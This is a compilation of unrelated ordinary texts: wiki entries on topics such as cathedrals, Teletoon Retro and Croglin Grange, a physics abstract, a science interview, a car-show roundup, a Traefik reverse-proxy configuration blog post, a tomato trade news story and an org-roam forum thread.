A Cathedral is a Christian church, the central church of a bishopric, and usually an imposing building.
* Eliminating the weaselling, how is it now? Btw, I think the travelling bishops thing is a little fanciful. Like the Somerseatas: an invention of Edwardian antiquaries, were they not? Somerset, published in 1907 by G.W. Wade and J.H. Wade, (authors of Rambles in Somerset, Rambles in Devon etc) briefly features them. Are authenic "Somerseatas" mentioned in any document? Why are we taliing about Roman cathedrals in England anyway. This isn't waffle, it's marmelade... Wetman 01:12, 21 Jul 2004 (UTC)
Lack of headings
i was just woundering if it would be better if the artical was split up into a few more headings / sub headings.
Strasbourg
You refer to Strasbourg "and other german cities". Strasbourg may have been German (1870-1918 and 1940-45) but it is now firmly back in France. Münster: Several English cathedral are called "Minster" e.g. York Minster, as I understood it because they had been built by monks and were part of monasteries.
Byzantine cathedrals
Hey guys. Does anybody have a guide/URL to the styles/rhythms of Byzantine cathedrals? I need it for my article in the Saint Andrew cathedral in the city of patras... thanks. Project2501a 20:43, 23 Dec 2004 (UTC)
Patriarchal basilica
The use of patriarchal basilica in reference to the Lateran Basilica only refers to it belonging to the class of major basilicas in Rome, each traditionally assigned to a patriarch. It has nothing to do with its position in the hierarchy. It being the Roman cathedral is enough for it to be the chief Roman church, chief Italian church, chief Western church, and chief Ecumenical church for Roman Catholics. If being a patriarchal basilica had anything to do with hierarchial position, then Saint Peter's Basilica, the patriarchal basilica traditionally assigned to the Patriarch of Constantinople, would be the patriarchal church of the Byzantine Rite, which was never the case. Pmadrid 8 July 2005 13:07 (UTC) | WIKI |
Volume-wise destruction of the antiferromagnetic Mott insulating state through quantum tuning
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Abstract
RENiO3 (RE=rare-earth element) and V2O3 are archetypal Mott insulator systems. When tuned by chemical substitution (RENiO3) or pressure (V2O3), they exhibit a quantum phase transition (QPT) between an antiferromagnetic Mott insulating state and a paramagnetic metallic state. Because novel physics often appears near a Mott QPT, the details of this transition, such as whether it is first or second order, are important. Here, we demonstrate through muon spin relaxation/rotation (μSR) experiments that the QPT in RENiO3 and V2O3 is first order: the magnetically ordered volume fraction decreases to zero at the QPT, resulting in a broad region of intrinsic phase separation, while the ordered magnetic moment retains its full value until it is suddenly destroyed at the QPT. These findings bring to light a surprising universality of the pressure-driven Mott transition, revealing the importance of phase separation and calling for further investigation into the nature of quantum fluctuations underlying the transition.
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Frandsen, B. A., Liu, L., Cheung, S. C., Guguchia, Z., Khasanov, R., Morenzoni, E., … Uemura, Y. J. (2016). Volume-wise destruction of the antiferromagnetic Mott insulating state through quantum tuning. Nature Communications, 7. https://doi.org/10.1038/ncomms12519
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Bizarre cars at the Tokyo Motor Show 2017
Automakers are showing off some wild concept vehicles at the 2017 Tokyo Motor Show, which kicked off Saturday and will run until November 5. Here's a look at some of the most futuristic vehicles on display.
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The Japanese auto parts maker Toyoda Gosei is showing off its concept car called the Flesby. The one-seater vehicle features rubber on the outside, which acts as a cushion in case of an accident. The company calls the material e-rubber and says that LED lights can shine through the rubber to communicate with pedestrians nearby.
Source: Toyoda Gosei
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Mercedes' Smart Vision EQ FourTwo is also on display. The vehicle is meant to be a robot taxi and uses screens on the outside to greet passengers and communicate with pedestrians.
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Yamaha revealed a wild-looking concept truck called the Cross Hub. Yamaha said the vehicle is meant to be a "lifestyle car," built to connect the outdoors to the city. It has seating for four people and can fit two motorcycles in the truck bed.
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The company also debuted its MWC-4 Leaning Multi-Wheel hybrid vehicle. The MWC-4 has two wheels in the front and one wheel in the back, and it can seat two people.
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Toyota is showing off three vehicles in its Concept-i series. These vehicles use artificial intelligence to understand the driver and anticipate what he or she needs. They are also built to operate manually or autonomously. The vehicle below, dubbed Concept-i, was originally debuted at CES in January.
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Also part of the series, Toyota's Concept-i Ride vehicle was designed for those who use a wheelchair.
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The third vehicle in the series, called Toyota's Concept-i Walk, is meant to be used on sidewalks or around tourist sites. The vehicle can be manually operated, but if it senses a dangerous situation, it can also "automatically take avoidance measures."
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Apart from its Concept-i series, Toyota also announced its fuel cell bus concept called the Sora and ...
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... a fuel cell vehicle for consumers called the Fine Comfort Ride concept.
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In addition, Toyota revealed a boxy SUV called the TJ Cruiser concept. The crossover was designed to have the spaciousness of a minivan but the design of an SUV. One of its special features is that its body has a coating that makes it scratch-resistant.
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The Honda NeuV, which stands for New Electric Urban Vehicle, is an electric concept vehicle that features an AI system that tracks a person's driving behavior so that it can make recommendations.
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Isuzu Motors' FD-SI is a concept truck aimed at showing what delivery vehicles could look like in the future.
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And Suzuki Motor's e-Survivor is an electric SUV concept that has autonomous capability.
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Toyota Auto Body, a manufacturing subsidiary of the Japanese automaker, showed off its Wonder-Capsule concept. It's a two-seater vehicle powered by an electric engine and meant to be used for a car-sharing service.
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Automakers aren't the only ones showing off their futuristic vehicles, though. Students from Aichi Highschool of Technology and Engineering have an electric vehicle they made, called the Collapse, on display.
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Electrophoretic and Microfluidic Separation Approaches for DNA Analysis
January 9, 2015
The Column
The Column, The Column-01-08-2015, Volume 11, Issue 1
DNA can be analyzed by many techniques, including electrophoretic techniques such as gel, capillary, and microchip electrophoresis. In this interview Kevin Dorfman, an Associate Professor in the Department of Chemical Engineering and Materials Science at the University of Minnesota in Minneapolis, Minnesota, USA, discusses his research with polymer physics and microfluidic and nanofluidic technologies.
Pages 2-5
DNA can be analyzed by many techniques, including electrophoretic techniques such as gel, capillary, and microchip electrophoresis, and nanochannel methods in which DNA is labelled and stretched. This interview with Kevin Dorfman, an Associate Professor in the Department of Chemical Engineering and Materials Science at the University of Minnesota in Minneapolis, Minnesota, USA, discusses his research with polymer physics and microfluidic and nanofluidic technologies. Specifically, his group studies the dynamics of DNA in confined systems using fluorescence microscopy and nanofabrication. He is recognized as a leader in the area of electrophoretic techniques for DNA separations, and is the recipient of the 2014 AES Mid-Career Award, which is given for exceptional contributions to the electrophoresis, microfluidics, and related areas by an individual who is currently in the middle of his or her career.
Q. A recent extensive review paper of yours1 covers the various techniques for obtaining sequence information directly from unamplified genomic-length DNA, including gel, capillary, and microchip electrophoresis; microfluidic separation methods; DNA stretching techniques; and fluorescence burst analysis. Which of these techniques are employed in your laboratory, and what types of information do they provide?
A: We work on both the electrophoresis and the nanochannel methods, using a combination of experiments and simulations. Since I was a postdoc, I have been interested in the microfluidic separation methods for long DNA. This was the major focus of my research group through 2012. Since that time, my research interests have shifted more towards stretching in nanochannels while we finish up some remaining projects in electrophoresis. In both cases, we are trying to improve technologies for obtaining genomic information at large scales - that is, at the level of genes rather than individual bases. In addition to providing genomic information, these are fantastic systems to explore the fundamentals of polymer physics and transport phenomena in well-controlled environments. I have not worked in the fluorescence burst analysis area. One of the reasons that I wanted to write this review paper was to have the opportunity to sit down and read that body of literature very carefully. The Los Alamos group did some amazing things with fluorescence burst analysis that I did not really appreciate until I got into the details.
Kevin Dorfman
Q. How complementary is this information?
A: In the electrophoretic method, which is older, the DNA is cut by restriction enzymes that recognize particular sequences. When these fragments are separated by size, you can figure out the genomic distance between each of the cutting sites. In the nanochannel method, the DNA is labelled with sequence specific probes and stretched. The location of the probes is read optically. In both cases you obtain a "fingerprint" of the DNA by either looking at the pattern of the separated DNA (for electrophoresis) or the location of the probes (for the nanochannels). The resolution of the methods is lower than DNA sequencing, on the order of a kilobase, but the ability to work with large, unamplified DNA is an advantage.
(PHOTO CREDIT: MINA DE LA O/GETTY IMAGES)
Q. What are the relative advantages of each of these techniques?
A: The electrophoretic methods are standard, and it is possible to get good results using pulsed-field gel electrophoresis in any biology laboratory. However, pulsed-field gel electrophoresis is limited by the challenge of reassembling the fragments into their genomic order, the amount of DNA you need to get a good signal, and the time required for the separation. The work done by my group and others, most notably the Baba group in Japan2,3 and the Viovy group in France,4,5 has reduced the separation time from many hours to minutes or even seconds by using microdevices. Since microdevices are small and use sensitive detection methods, they have improved the sample consumption problem. However, electrophoretic methods are always going to be limited by the need to cut the DNA first, separate it by size, and then figure out how those sizes were generated from the original genome. This last problem is solved by the various stretching methods such as nanochannel confinement; the DNA is not cut so you can see the order of each of the probes as well as the distance between them. Needless to say, working with single molecules of DNA in nanochannels is the ultimate limit in reducing the sample size.
Q. Electrophoretic methods have been considered the standard methods for DNA research. Have the other methods been developed to the point where they could have an impact outside of the analytical chemistry community?
A: The microchip methods are mature, but they have only had limited commercialization so far and those devices that have been commercialized focus on separating short fragments. At the moment, the microchip electrophoresis methods for long DNA are not really available outside the analytical chemistry community. A major reason for this lack of commercialization is that the stretching methods are starting to come to market, and look to be very promising. OpGen has been doing the surface stretching method for quite some time, and they have a number of impressive results for mapping organisms. BioNano Genomics, a startup company in San Diego, has been working to commercialize the nanochannel methods and their machines are now available for sale. They have also been publishing genomic data in the open literature, similar to OpGen, which I think is a critical step for getting outside the analytical chemistry community and having an impact in biology. The flow cytometry methods discussed in my review paper1 were developed to a high degree at Los Alamos National Lab, but unfortunately the group is no longer active in the area.
Q. How are Brownian dynamics and Monte Carlo simulation techniques used in your laboratory with electrophoresis and nanochannel methods? What information is obtained by using these simulation techniques?
A: These simulation techniques are complementary to the experimental work and provide different insights. The Monte Carlo simulations allow us to efficiently study equilibrium properties, while the Brownian dynamics simulations give us information about the DNA trajectories, both at equilibrium and out of equilibrium. Compared to the experiments, the simulations allow us to have a much higher spatial resolution since we are not limited by diffraction. We can also more easily "redesign" the microfluidic device in the simulation by just changing some of the parameters, such as the distance between the posts. If we see something that looks promising in the simulations, then we can invest the time and money to fabricate it and see if the prediction was correct. In both types of simulations, it is critical to have a model that is parameterized so that the simulation predictions are in agreement with experiments. We have worked extensively on this topic and the models we have for electrophoresis and nanochannel confinement make predictions about the separation and stretching that are quite close to what we see in the experiments.
Q. Are the various arrays and nanochannel devices used in your group's research all fabricated in your laboratory? If so, how did you learn the necessary fabrication techniques?
A: For the arrays, we learned everything by reading papers in the literature, talking to other people in the area, and most importantly using the expertise of the staff at the Minnesota Nano Center (MNC). The MNC is a fantastic resource, and we are particularly indebted to Mark Fisher and Tony Whipple for their expertise and advice, and to Prof. Steve Campbell for running such a user-friendly facility. All of the electrophoresis devices were fabricated in the MNC. For the nanochannels, we have been collaborating with Walter Reisner (assistant professor in the Department of Physics at McGill University) for the device fabrication. He made the first devices for us, and he helped to debug some of the problems that we were having with fabricating our own devices.
Q. What are the next steps in your research?
A: I see my research in this area moving even more towards the nanochannel project. We have done a lot of work to engineer the electrophoretic separation systems, but we have reached the point of diminishing returns with research into separation-based methods. In contrast, there are lots of great questions to answer about nanochannel stretching. For the moment, we are very focused on the physics of the nanochannel confinement itself. I think the next steps are to figure out how to improve the process of loading the DNA into the channels and whether the nanochannel technology can be integrated with upstream sample preparation or further downstream analysis. Interestingly, the loading problem requires understanding even more complicated electrophoretic problems in post arrays than the ones we have studied so far, so I think all of the work that we did in electrophoresis will prove useful here. We have two grants right now in collaboration with BioNano Genomics, so I also see us putting some of our effort towards very practical problems in the technology translation.
References
1. K.D. Dorfman, S.B. King, D.W. Olson, J.D.P. Thomas, and D.R. Tree, Chemical Reviews 113, 2584–2667 (2013).
2. N. Kaji et al., Anal. Chem. 76(1), 15–22 (2004).
3. T. Yasui et al., Microfluidics and Nanofluidics14(6), 961–967 (2013).
4. P. Doyle et al., Science 295(5563), 2237 (2002).
5. N. Minc et al., Anal. Chem. 76(13), 3770–3776 (2004).
Kevin Dorfman is an Associate Professor in the Department of Chemical Engineering and Materials Science at the University of Minnesota in Minneapolis, Minnesota, USA.
E-mail: dorfman@umn.edu
Website: https://www.cems.umn.edu/about/people/faculty.id20586.html
This article is from The Column. The full issue can be found here>>
| ESSENTIALAI-STEM |
Croglin Grange
The Vampire of Croglin Grange is a vampire legend that took place in Cumberland, England. The story first appeared in Story of My Life by Augustus Hare, written in the 1890s. In 1929, Montague Summers republished the story along with the first chapter of Varney the Vampire. He pointed out that the two stories were very similar and should be dismissed as folklore.
Charles G. Harper challenged the Hare book in 1924 after visiting the area. He found no evidence that Croglin Grange ever even existed, but did however find two similar buildings called Croglin High Hall and Croglin Low Hall. Neither fitted the description of the place in the book. Eventually, after much research, he came to the conclusion that Croglin Low Hall was the place Hare had referred to in the book, even though a chapel had not existed nearby for many years.
Summary
In the tale written by Augustus Hare, several episodes took place between 1875 and 1876. An old house had been rented out to a woman and two brothers, Amelia, Edward, and Michael Cranswell. During one summer, Amelia was trying to sleep when a strange creature appeared at her window and began picking out the lead surrounding one of the window panes with a long fingernail, then removing it and putting its hand through the resulting gap to undo the window latch and let itself in. It was described as having a brown face and flaming eyes. The vampire bit her in the throat. When her brothers came into the room, the monster was gone. While one brother tried to help his sister, the other went after the creature.
After a trip to Switzerland, the three returned to Croglin Grange and the creature returned again. The brother shot it in the leg and was able to track it down to a vault in the local cemetery. They waited until the next day to enter the vault, where they found the body of the vampire, with a fresh wound to the leg, resting inside a coffin. They then burned it.
A version of the story appears under the title "The Window" in Alvin Schwartz and Stephen Gammell's More Scary Stories to Tell in the Dark (1984). | WIKI |
Page:Spalding's Baseball Guide (1894).djvu/20
16 to 10 at Pittsburgh on July 6th, when Coyle pitched for the champions against Ehret and was badly punished.
The highest percentage made by the champions against any opposing team was .833, which figures were scored against the Baltimore, St. Louis and Louisville clubs; whilst the lowest percentage made by the Bostons was against the Pittsburghs, viz., .444.
There is no questioning the fact that the Boston team led all their opponents in 1893 in team work; that is, they excelled all the opposing teams in "playing for the side," and that involves team work alike in the batteries of the club, in their fielding and above all in their batting and base running; and it was in the two latter specialties that they particularly led every other team in the League. The absurd statement that it was this, that or the other single speciality which gave them the championship needs no refuting argument. It was the combination of headwork play in batting, base running and fielding which made them successful; their team, including a quartette of brainy players in strategic skill which no other club equaled. John M. Ward saw their most telling points in this respect, and he candidly acknowledged their superiority in thorough team work. With this great advantage to back them up, the champions of 1893 could easily have defeated the best picked nine of mere home-position players selected from any other of the eleven League clubs, inasmuch as "picked nines" invariably lack the great essential of "playing for the side," the majority of such nines being record players, and record playing teams never win pennant races. Of course, good management and able captaining aided in the success of the team.
The Pittsburgh club opened its championship campaign in 1893 rather inauspiciously, inasmuch as its team failed to win a single game in April, and at the close of the month it occupied the tail end position in the race, and it remained there until May 3d, when the team jumped out of the last ditch and began to mount to the head of the second division clubs, and by the 8th of May left that division for the season; and, moreover, before the May campaign ended, Pittsburgh got to the head of the six leaders, and on May 31st led in the race by a percentage of victories of .667, | WIKI |
Teletoon Retro
Teletoon Retro was a Canadian specialty channel that was owned by Corus Entertainment that was based on the Teletoon programming block. The service was dedicated to broadcasting classic animated television programs such as The Raccoons as well as some live-action series.
Along with its French-language sister channel Télétoon Rétro, it was available in over nine million Canadian households as of 2013; together it had the most subscribers among the digital Canadian specialty channels.
Teletoon Retro was shut down on September 1, 2015, and replaced by Corus MEGA (now CMega), with Cartoon Network inheriting the service's CRTC license and some of its carriage agreements. That channel would later relaunch under Cartoon Network's own classic animation brand Boomerang in 2023.
History
Teletoon Retro started as a programming block on Teletoon. On November 24, 2000, Teletoon Canada was given approval by the Canadian Radio-television and Telecommunications Commission (CRTC) to launch a national English language category 2 specialty channel named Teletoon Retro. The channel never made it to air.
Plans to launch the channel arose again in 2005, when on October 25, Teletoon Canada was given approval again to launch Teletoon Retro. The channel was launched at 6:00 PM EST on October 1, 2007, across all major television providers with its first program being The Bugs Bunny and Tweety Show. To coincide with the channel's launch, Teletoon briefly relaunched the Retro programming block. A French language counterpart, titled Télétoon Rétro, which had been given approval to be launched at the same time as Teletoon Retro, was launched on September 4, 2008.
On February 4, 2013, the channel underwent a refresh with new graphics and bumpers created by John Lee, retiring the "television sets" era from 2009 to 2013. In addition, the channel also underwent a new logo, and the male announcer (still used on its parent network) was retired and replaced with a female announcer. However, the channel's slogan did not change.
On March 4, 2013, Corus Entertainment announced that it would acquire Astral Media's 50% ownership interest in Teletoon Canada (owner of Teletoon, Télétoon, Teletoon Retro, Télétoon Rétro, and Cartoon Network), along with several other properties. The purchase was in relation to Bell Media's pending takeover of Astral (which had earlier been rejected by the CRTC in October 2012, but was restructured to allow the sale of certain Astral Media properties in order to allow the purchase to clear regulatory hurdles). Corus's purchase was cleared by the Competition Bureau two weeks later on March 18.
On December 20, 2013, the CRTC approved Corus's full ownership of Teletoon Canada and it was purchased by Corus on January 1, 2014. The channel continues to be owned by Teletoon Canada, now wholly owned by Corus Entertainment under its Corus Kids division.
On March 1, 2014, a high definition simulcast of the channel was launched. The only two providers to carry it were Cogeco and Bell Fibe TV. Shaw Direct, SaskTel, Bell MTS, and Telus Optik TV never launched the feed in time.
In August 2015, Teletoon Retro's website announced that the channel would be shut down effective September 1, 2015 and being replaced by Corus MEGA (now CMega); some of its programming was moved to the main Teletoon network. On some providers, Teletoon Retro was replaced by either Disney Channel or Cartoon Network. The transition was legally structured so that Cartoon Network would cease to exist as a separately-licensed service as of September 1, 2015, and henceforth operate under Teletoon Retro's category B license instead.
Cartoon Network was ultimately relaunched as a Canadian version of Boomerang on March 27, 2023, thus returning a classic animation format to the former Teletoon Retro channel space.
Former programming
Teletoon Retro primarily aired classic animated programming; its CRTC license specified that programming had to have been produced at least 10 years prior. While primarily devoted to animation, its CRTC license allowed as much as 10% of its programming to be live action and animated cartoons such as The Bugs Bunny and Tweety Show, Scooby-Doo, The Flintstones and others; as such, it also aired some live-action series, such as Batman, Fraggle Rock, and Mighty Morphin' Power Rangers. The network also aired 1980s action-genre cartoons: Transformers, He-Man and the Masters of the Universe, She-Ra: Princess of Power, ThunderCats, G.I. Joe, Teenage Mutant Ninja Turtles and Inspector Gadget. | WIKI |
Træfik
While I was preparing the deployment of a private pet project, I got the impression that my approach had significant room for improvement in the front-facing reverse-proxy department. The project consists of a scalable set of microservices serving several tasks in the backend, tied together with a message bus protocol.
While the backend was perfectly capable of handling its own environmental adaptions and even supports multitarget deployment perfectly, either to a Kubernetes Cluster or docker-compose on my little VPS, the situation was much worse on the frontend. There, I was still required to manually configure nginx in terms of backend addresses and use additional technology for handling infrastructure changes, such as up/downscaling of services, not to mention obtaining letsencrypt certificates, which simply felt wrong and not agile.
A little research unveiled that I am not the only one having that concerns, and that there is a very powerful reverse proxy called Træfik specifically addressing the requirements of containerized applications.
How it works
Træfik basically is a HTTP/s server and reverse proxy built on the Golang HTTP package, which does not sound that exciting in the first place. The noticeable thing about it though is its support for container orchestration frameworks, such as Docker (vanilla, docker-compose, Swarm) or Kubernetes in terms of obtaining all information the operator already defined when setting up the actual container.
Traefik uses a declarative, rule-based approach to automatically setup reverse proxies and route requests accordingly. For instance, a docker container could be labeled with multiple statements on its listening ports, protocol, hostnames and paths, which would be picked up by Traefik instantly. Same applies on changes in scaling or newly started containers - every change causes Traefik to adapt its own proxy configuration without any further operator interaction.
Example Træfik deployment strategy with docker-compose
On constrained hardware, such as a personal vServer, a lightweight approach such as docker-compose can provide an interesting alternative to a kubernetes installation. As Traefik also supports docker-compose, it can be completely configured with key-value pairs in labels section of the services items in the docker-compose file.
For instance, the docker-compose webservice below would start a Spring Boot service on Port 8080 and tell Traefik that:
• The service serves the kp-backend service group
• It should listen in APP_HOSTNAME, defined in the .env file or environment variable
• Only requests below /api/v1/trends should be routed to an instance of that container
• Port 8080 is listening for HTTP requests
trending:
image: (repo)/(application)/trends
labels:
- traefik.backend=kp-trending
- traefik.frontend.rule=Host:${APP_HOSTNAME}; PathPrefix:/api/v1/trends
- traefik.port=8080
environment:
- SERVER_PORT=8080
Relevance for the proxy can be expressed with the traefik.enable statement. In the example, below, the enable-directive prohibits Traefik from setting up a host for the service.
rabbitmq:
image: "rabbitmq:3-management-alpine"
hostname: "rabbitmq"
labels:
- NAME=rabbitmq
- traefik.enable=false
The Traefik config file
The configuration file is quite concise and fits on one screen. The file below sets up a basic Traefik installation with HTTPs, HTTPs enforcement and automatic letsencrypt certificate management.
Example: A full-featured file with Letsencrypt support and HTTPs enforcement
defaultEntryPoints = ["http", "https"]
[entryPoints]
[entryPoints.http]
address = ":80"
[entryPoints.http.redirect]
entryPoint = "https"
[entryPoints.https]
address = ":443"
[entryPoints.https.tls]
[acme]
email = "(my mail here)"
storage = "acme.json"
entrypoint = "https"
onHostRule = true
#Use this for testing to avoid running into the Letsencrypt request limit
#caServer = "https://acme-staging.api.letsencrypt.org/directory"
[acme.httpChallenge]
entrypoint = "http"
3 Minutes
Recent Posts
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Fuzz Testing in Golang
Hyères
Gran Canaria
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Træfik
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Tenerife
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Lanzarote | ESSENTIALAI-STEM |
National Association of Neonatal Nurses
The National Association of Neonatal Nurses (NANN) is a professional organization for neonatal nurses in the United States. NANN was founded in 1984 by five neonatal nurses: Patricia Johnson, Linda Bellig, Tracy Karp, Charles Rait and Donna Lee Loper. Within one year, the association boasted a membership of 3,790.
Mission
The mission of the National Association of Neonatal Nurses is to address the educational and practice needs within the evolving specialty of neonatal nursing, while giving all neonatal nurses national representation.
This mission is achieved through professional, peer-reviewed publications (Advances in Neonatal Care), educational conferences, and offering books and other materials to neonatal health care professionals.
Legislation
NANN supported the Newborn Screening Saves Lives Reauthorization Act of 2013 (H.R. 1281; 113th Congress), a bill that would amend the Public Health Service Act to reauthorize grant programs and other initiatives to promote expanded screening of newborns and children for heritable disorders. | WIKI |
Howard N. Cole
Lieutenant-Colonel Howard Norman Cole (22 March 1911 – 3 May 1983) OBE TD F.R.Hist.S DL was a serving officer in the British Army during the Second World War and was an author of books on military subjects.
Life
Cole was born in Peckham in London in 1911, the son of Howard Norman Cole, a Works Manager for Diatomite, and Mabel Alice Cole.
A writer, historian and lecturer, Cole was the Deputy Lieutenant of the County of Hampshire from 1965 to 1983, the Honorary Remembrancer for the Borough of Aldershot from 1963 to 1974, and Curator of the Aldershot Local History Collection.
Cole first visited Aldershot in 1930 while serving in the 11th (Honourable Artillery Company and City of London Yeomanry) Brigade, part of the Territorial Army. A Lance Bombardier, Cole was commissioned a Second Lieutenant in the Territorials on 20 July 1935. With the outbreak of the Second World War, and after serving time at Royal Military Academy Sandhurst in 1942, he was promoted to the rank of Major. He was awarded an OBE in 1945 for services in north west Europe during the Second World War. Cole returned to Aldershot in March 1946 where he was employed by publishers Gale and Polden as military sales manager for more than thirteen years. There he raised and commanded the 667th Heavy Anti-Aircraft Regiment, Royal Artillery (Hampshire) TA from 1947 to 1951.
In 1954 Cole provided the commentary for The Military Centenary of Aldershot, part 1 & part 2, a film produced by Aldershot Borough Council celebrating the Centenary of its association with the British Army.
Cole was appointed an Officer of the Most Venerable Order of the Hospital of St. John of Jerusalem in 1953, and a Commander in 1974. He lived in The Yayldens on Manor Road in Tongham in Surrey.
'Howard N. Cole Way', a street on the site of the former South Cavalry Barracks in Aldershot, was named in his honour in 1979. His collection of memorabilia and pictures of early Aldershot Military Town were donated to Aldershot Military Museum on his death in 1983.
Publications
* Coronation and Commemorative Medals 1887–1953 Gale & Polden, Aldershot (1953)
* Coronation and Royal Commemorative Medals 1877–1977 J B Hayward & Son (1977)
* Heraldry in War: Formation Badges, 1939–1945 The Wellington Press (1946)
* Badges on Battledress: Post-War Formation Signs and Rank and Regimental Badges Gale & Polden Aldershot (1953)
* Formation Badges of World War Two: Britain, Commonwealth and Empire Arms & Armour (1985) ISBN 0-85368-078-7
* The Story of Aldershot: a History of the Civil and Military Towns Gale & Polden, Aldershot (1951)
* The Story of Catterick Camp 1915–1972 Headquarters Catterick Garrison (1972)
* Minden 1759 (Battles for Wargamers) Charles Knight, London (1972)
* NAAFI in Uniform Forces Press (1982)
* The Origins of Military Aldershot Aldershot Golden Jubilee Committee (1972)
* The Story of Bisley Gale & Polden, Aldershot (1960)
* A Surrey Village and its Church: The Story of Tongham
* On Wings of Healing: The Story of the Airborne Medical Services 1940–60 william Blackwood and Sons, London and Edinburgh (1963) | WIKI |
User:GroupCaptainAlfa/sandbox/Justin Hawkes
Justin Hawkes (born 7th, October, 1955) is an English artist and art restoration expert based in the Cambridgeshire village of Great Wilberham.
Background
Hawkes was born in Cambridgeshire and in the early 1970s attended Impington Village Collage which had an art department run by Ray Armstrong. Inspired by Armstrong, Hawkes excelled at art and on leaving Impington Village College in 1976 he bagan a course at the Cambridge College of Arts and Technology (now ((Anglia Ruskin))). He continued at Cambridge College of Arts and Technology until 1978 where his tutors included Julia Ball and Christana Fox. In 1979 he was offered a place at the 'Byam Shaw School of Art', a well-respected independent art school in London, where his primary tutors were Frank Bowling and Tam Giles. Whilst at the Byam Shaw he befriended Mona Hatoum whom he socialised with, attending parties at Cat Stevens' house in Walham Grove. Hawkes studied at the Byam Shaw until 1983 during which time and subsequently he shared a studio with art critic, Matthew Collings who was also at the college. e 'Byam Shaw' Painting Conservation became a burgeoning interest and on leaving he bagan an apprentiship in 'easel painting conservation' under tutor Judy Blofeld in Saffron Walden, Essex. Blofeld was a former student of Helmut Ruhemann. | WIKI |
Page:Gadsby.djvu/271
Rh around to Thanksgiving Day; that day on which as many of a family as possibly can should sit around a common board; coming from afar, or from only a door or two away.
Gadsby’s dining-room was not big; it had always sat but six in his family. But, on this Thanksgiving Day,—hmmm! “Wait, now—uh-huh, that’s it. Just run that pair of sliding doors back, put that parlor lamp upstairs; and that piano? Why not roll it out into my front hall? I know it will look odd, but you can’t go through a Thanksgiving ‘’ standing up. Got to jam in chairs, any old way!”
But who is all this mob that will turn His Honor’s dining-room into a thirty-foot hall? I’ll look around, as our happy, laughing, singing, clapping group sits down to Gadsby’s Thanksgiving party.
I find two “posts of honor;” (My gracious! so far apart!); His Honor, with carving tools filling dish, dish, and dish.
“Atta boy! Atta girl! Pass up your chow-dish! This bird has but two drum-sticks, but six of his cousins wait, out in our cook-shop! Lots of grub! What’s that, Julius? A bit of dark? Want any gravy?”
At Post Two sits “Ma;” again in that good | WIKI |
Commerce, Mexican growers sign tomato deal
Mexican growers have signed an agreement with the Commerce Department that raises the prices of the tomatoes they sell in the United States but drops the threat of a 25 percent U.S. anti-dumping duty. "The agreement was hard-fought, but we were able to secure a number of important provisions that will make this deal work for our distributors and customers," Mario Robles, director of the Sinaloa growers association, said in a statement. The Commerce Department, in its own statement, said the agreement eliminates the injurious effects of unfairly priced Mexican tomatoes, prevents price suppression and undercutting and allows department officials to audit at least 80 Mexican tomato producers and U.S. sellers every three months to ensure compliance. The agreement also closes loopholes from past suspension agreements that permitted sales below the minimum "reference prices" in certain circumstances and includes an inspection mechanism to prevent the importation of low-quality, poor-condition tomatoes from Mexico, which can have price-depressing effects on the market, the department said. Heading into final talks this week, Mexican tomato growers were threatening not to sign the agreement because of concern over a new border inspection procedure. U.S. companies that import about $2 billion of Mexican tomatoes annually also warned Wednesday the requirement could cause costly border delays. That would also affect other incoming produce such as table grapes, avocados, onions and citrus that require inspection under USDA marketing orders, Lance Jungmeyer, president of the Fresh Produce Association of the Americas, said in an interview. However, the Mexican growers said Thursday they won a commitment that inspections will be conducted by the USDA in accordance with its normal practice, including being done in a timely manner and completed within 24 hours. Commerce also committed that the inspection program — which does not take effect for at least six months — will be developed and implemented in consultation with experts at USDA, the growers said. "These provisions help relieve our concerns that the United States was setting up a de facto quota or volume restriction," said Rosario Beltran, president of the grower association CAADES. "We hope these provisions will give comfort to the many interests in both countries concerned about bottlenecks at the border and supply chain delays." The Mexican growers said they were also able to preserve the ability to sell directly to U.S. retailers and protect the rights of U.S. buyers to seek damages when the product they receive does not meet specifications. "We take the Department of Commerce at its word that the agreement is not designed to impede trade and we thank the Department's team for working with us to make important changes to the agreement in the last 30 days," said Antonio Gandara, president of the Sonora growers association. The so-called suspension agreement ends a two-decade-old anti-dumping investigation that the Commerce Department relaunched in May at the request of Florida tomato growers. Commerce set a preliminary anti-dumping duty of 17.5 percent on the imports, which was scheduled to increase to 25 percent if no deal was reached. “The department’s action brought the Mexican growers to the negotiating table and led to a result that protects U.S. tomato producers from unfair trade. It also removes major uncertainties for the Mexican growers and their workers," Commerce Secretary Wilbur Ross said in a statement. Oscar Woltman, president of AMHPAC, Mexico's largest growers' association, said the final agreement is much better than initial demands made by the Florida Tomato Exchange, which represents the industry in that state. "Considering that we started the negotiations with Commerce with the Florida Tomato Exchange demanding that the reference prices should be extended downstream to the final sale and that U.S. buyers be stripped of legal rights, we believe we have ended up in a much better place," Woltman said. | NEWS-MULTISOURCE |
V2 - Automatic ID for Files Created Outside Org-Roam in Org-Roam Directory?
In v1, if I created a file with the #+TITLE: attribute within my org-roam directory, the org-roam DB would add it on its next scan/update. With V2, it seems that files created outside of org-roam-node-find or org-roam-capture don’t get IDs added automatically just because they live inside the org-roam directory, and therefore don’t get added to the database.
This is mostly not a big deal, but especially for anything I’m creating within emacs (for example, I added org-id-get-create to my org-journal template, and that seems to be working fine), but I have one or two use cases for creating files outside of emacs that I would like indexed by org-roam (for example, I have a little script to convert bibtex files into org files, and it’s convenient for those to be automatically indexed by org-roam).
I’m interested to know if this is expected/desired behavior, or if I might have a setting set incorrectly or the like.
1 Like
It’s a behaviour expected of the current implementation. Every node requires its ID by definition.
By design does not mean that implementation could be changed to auto add an ID to new files during db-sync, but that’s not the case now as far as I could see.
Just add an ID property in the script you mention. This ID should be recognised and cached by Org-roam next time you use org-roam-setup (db-sync).
One note is that this “custom-made” ID won’t be recognised by Org-ID. Its location would not be identified if you want to navigate to it from outside Org-roam.
If this is a problem, you’d need to update org-id location somehow. There are a plenty of other posts in this forum recently if you search (not at desk so can’t tell you the exact function names, etc.)
1 Like
Ah, thanks very much for the clarification. It should be pretty simple to add the text for a property drawer with an ID property along with something to generate a unique sequence (it’s written in python), and I think that at least for now, being recognized by Org outside of org-roam should not be much of an issue.
I twiddled with my python script to generate an id in the form of YYYYMMDDHHSS and insert it at the top of the file in a property drawer, and I can confirm that org-roam does indeed find it on its next sync, and that vanilla org does not know how to find it. For now, that’s a good enough solution for me, but if anyone else tries further/other automation, I’d be interested to see it.
1 Like
This should work.
Only lightly tested, and I have other means suited for me running in parallel so can’t confirm which did the job; but this solution is run, didn’t break anything, and should do the job.
I trust that you would test it before you commit using it :wink:
